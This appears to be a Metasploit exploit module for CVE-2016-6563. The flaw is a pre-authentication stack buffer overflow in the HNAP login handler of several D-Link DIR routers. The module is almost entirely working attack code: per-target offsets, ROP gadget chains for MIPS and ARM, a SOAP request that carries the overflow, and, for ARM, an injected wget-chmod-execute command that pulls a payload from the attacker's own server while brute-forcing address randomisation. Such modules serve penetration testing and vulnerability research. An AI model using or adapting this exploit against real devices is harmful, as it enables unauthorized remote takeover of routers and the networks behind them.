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| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 | ## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' # Payload working status: # MIPS: # - all valid payloads working (the ones that we are able to send without null bytes) # ARM: #- inline rev/bind shell works (bind... meh sometimes) #- stager rev/bind shell FAIL #- mettle rev/bind fails with sigsegv standalone, but works under strace or gdb... class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::HttpServer include Msf::Exploit::EXE include Msf::Exploit::FileDropper def initialize(info = {}) super(update_info(info, 'Name' => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow', 'Description'=> %q{ Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol, which accepts arbitrarily long strings into certain XML parameters and then copies them into the stack. This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and this vulnerability is present in both MIPS and ARM devices. The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a few load and store instructions. Because of this the payloads have to be sent unencoded, which can cause them to fail, although the bind shell seems to work well. For the ARM devices, the inline reverse tcp seems to work best. Check the reference links to see the vulnerable firmware versions. }, 'Author' => [ 'Pedro Ribeiro <pedrib@gmail.com>' # Vulnerability discovery and Metasploit module ], 'License'=> MSF_LICENSE, 'Platform' => ['linux'], 'References' => [ ['CVE', '2016-6563'], ['US-CERT-VU', '677427'], ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'], ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38'] ], 'DefaultOptions' => { 'WfsDelay' => 10 }, 'Stance' => Msf::Exploit::Stance::Aggressive,# we need this to run in the foreground (ARM target) 'Targets'=> [ [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]', { 'Offset' => 3072, 'LibcBase' => 0x2aabe000, # should be the same offset for all firmware versions and all routers 'Sleep'=> 0x56DF0,# sleep() offset into libuClibc-0.9.30.3.so 'FirstGadget'=> 0x4EA1C,# see comments below for gadget information 'SecondGadget' => 0x2468C, 'ThirdGadget'=> 0x41f3c, 'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addisp,sp,-3128 'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalrsp 'BranchDelay'=> "\x20\x84\xf8\x30", # addia0,a0,-2000 (nop) 'Arch' => ARCH_MIPSBE, 'Payload'=> { 'BadChars' => "\x00", 'EncoderType' => Msf::Encoder::Type::Raw# else it will fail with SIGILL, this CPU is crippled }, } ], [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]', { 'Offset' => 1024, 'LibcBase' => 0x400DA000, # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well) 'System' => 0x5A270,# system() offset into libuClibc-0.9.32.1.so 'FirstGadget'=> 0x18298,# see comments below for gadget information 'SecondGadget' => 0x40CB8, 'Arch' => ARCH_ARMLE, } ], ], 'DisclosureDate'=> 'Nov 7 2016', 'DefaultTarget' => 0)) register_options( [ Opt::RPORT(80), OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']), OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']), OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']), OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']), OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']), ], self.class) end def check begin res = send_request_cgi({ 'uri' => '/HNAP1/', 'method'=> 'POST', 'Content-Type' => 'text/xml', 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' } }) if res && res.code == 500 return Exploit::CheckCode::Detected end rescue ::Rex::ConnectionError return Exploit::CheckCode::Unknown end Exploit::CheckCode::Safe end def calc_encode_addr (offset, big_endian = true) if big_endian [(target['LibcBase'] + offset).to_s(16)].pack('H*') else [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse end end def prepare_shellcode_arm (cmd) #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers #first_gadget (pops system() address into r3, and second_gadget into PC): #.text:00018298 LDMFD SP!, {R3,PC} #second_gadget (puts the stack pointer into r0 and calls system() at r3): #.text:00040CB8 MOV R0, SP #.text:00040CBC BLX R3 #system() (Executes argument in r0 (our stack pointer) #.text:0005A270 system #The final payload will be: #'a' * 1024 + 0xffffffff + 'b' * 16 + 'AAAA' + first_gadget + system() + second_gadget + command shellcode = rand_text_alpha(target['Offset']) + # filler "\xff\xff\xff\xff" +# n integer overwrite (see advisory) rand_text_alpha(16) + # moar filler rand_text_alpha(4) +# r11 calc_encode_addr(target['FirstGadget'], false) +# first_gadget calc_encode_addr(target['System'], false) + # system() address calc_encode_addr(target['SecondGadget'], false) + # second_gadget cmd # our command end def prepare_shellcode_mips #All these gadgets are from /lib/libuClibc-0.9.30.3.so, which is the library used for all versions of firmware for all MIPS routers #<sleep> is at 56DF0 #first gadget - execute sleep and call second_gadget #.text:0004EA1C move$t9, $s0 <- sleep() #.text:0004EA20 lw$ra, 0x20+var_4($sp) <- second_gadget #.text:0004EA24 li$a0, 2 <- arg for sleep() #.text:0004EA28 lw$s0, 0x20+var_8($sp) #.text:0004EA2C li$a1, 1 #.text:0004EA30 move$a2, $zero #.text:0004EA34 jr$t9 #.text:0004EA38 addiu $sp, 0x20 #second gadget - put stack pointer in a1: #.text:0002468C addiu $s1, $sp, 0x58 #.text:00024690 li$s0, 0x44 #.text:00024694 move$a2, $s0 #.text:00024698 move$a1, $s1 #.text:0002469C move$t9, $s4 #.text:000246A0 jalr$t9 #.text:000246A4 move$a0, $s2 #third gadget - call $a1 (stack pointer): #.text:00041F3C move$t9, $a1 #.text:00041F40 move$a1, $a2 #.text:00041F44 addiu $a0, 8 #.text:00041F48 jr$t9 #.text:00041F4C nop #When the crash occurs, the stack pointer is at xml_tag_value[3128]. In order to have a larger space for the shellcode (2000+ bytes), we can jump back to the beggining of the buffer. #prep_shellcode_1:23bdf7a8addisp,sp,-3128 #prep_shellcode_2:03a0f809jalrsp #branch_delay:2084f830addia0,a0,-2000 #The final payload will be: #shellcode + 'a' * (2064 - shellcode.size) + sleep() + '%31' * 4 + '%32' * 4 + '%33' * 4 + third_gadget + first_gadget + 'b' * 0x1c + second_gadget + 'c' * 0x58 + prep_shellcode_1 + prep_shellcode_2 + branch_delay shellcode = payload.encoded +# exploit rand_text_alpha(target['Offset'] - payload.encoded.length) + # filler calc_encode_addr(target['Sleep']) +# s0 rand_text_alpha(4) + # s1 rand_text_alpha(4) + # s2 rand_text_alpha(4) + # s3 calc_encode_addr(target['ThirdGadget']) +# s4 (third gadget) calc_encode_addr(target['FirstGadget']) +# initial pc / ra (first_gadget) rand_text_alpha(0x1c) +# filler calc_encode_addr(target['SecondGadget']) + # second_gadget rand_text_alpha(0x58) +# filler target['PrepShellcode1'] + # exploit prep target['PrepShellcode2'] + # exploit prep target['BranchDelay']# exploit prep end def send_payload (payload) begin # the payload can go in the Action, Username, LoginPassword or Captcha XML tag body = %{ <?xml version="1.0" encoding="utf-8"?> <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"> <soap:Body> <Login xmlns="http://purenetworks.com/HNAP1/"> <Action>something</Action> <Username>Admin</Username> <LoginPassword></LoginPassword> <Captcha>#{payload}</Captcha> </Login> </soap:Body> </soap:Envelope> } res = send_request_cgi({ 'uri' => '/HNAP1/', 'method'=> 'POST', 'ctype' => 'text/xml', 'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }, 'data' => body }) rescue ::Rex::ConnectionError fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the router") end end # Handle incoming requests from the server def on_request_uri(cli, request) #print_status("on_request_uri called: #{request.inspect}") if (not @pl) print_error("#{peer} - A request came in, but the payload wasn't ready yet!") return end print_status("#{peer} - Sending the payload to the device...") @elf_sent = true send_response(cli, @pl) end def exploit print_status("#{peer} - Attempting to exploit #{target.name}") if target == targets[0] send_payload(prepare_shellcode_mips) else downfile = rand_text_alpha(8+rand(8)) @pl = generate_payload_exe @elf_sent = false resource_uri = '/' + downfile #do not use SSL if datastore['SSL'] ssl_restore = true datastore['SSL'] = false end if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") srv_host = Rex::Socket.source_address(rhost) else srv_host = datastore['SRVHOST'] end service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri print_status("#{peer} - Starting up our web service on #{service_url} ...") start_service({'Uri' => { 'Proc' => Proc.new { |cli, req| on_request_uri(cli, req) }, 'Path' => resource_uri }}) datastore['SSL'] = true if ssl_restore print_status("#{peer} - Asking the device to download and execute #{service_url}") filename = rand_text_alpha_lower(rand(8) + 2) cmd = "wget #{service_url} -O /tmp/#{filename}; chmod +x /tmp/#{filename}; /tmp/#{filename} &" shellcode = prepare_shellcode_arm(cmd) print_status("#{peer} - \"Bypassing\" the device's ASLR. This might take up to 15 minutes.") counter = 0.00 while (not @elf_sent) if counter % 50.00 == 0 && counter != 0.00 print_status("#{peer} - Tried #{counter.to_i} times in #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") end send_payload(shellcode) sleep datastore['SLEEP'].to_f # we need to be in the LAN, so a low value(< 1s) is fine counter += 1 end print_status("#{peer} - The device downloaded the payload after #{counter.to_i} tries / #{(counter * datastore['SLEEP'].to_f).to_i} seconds.") end end end |
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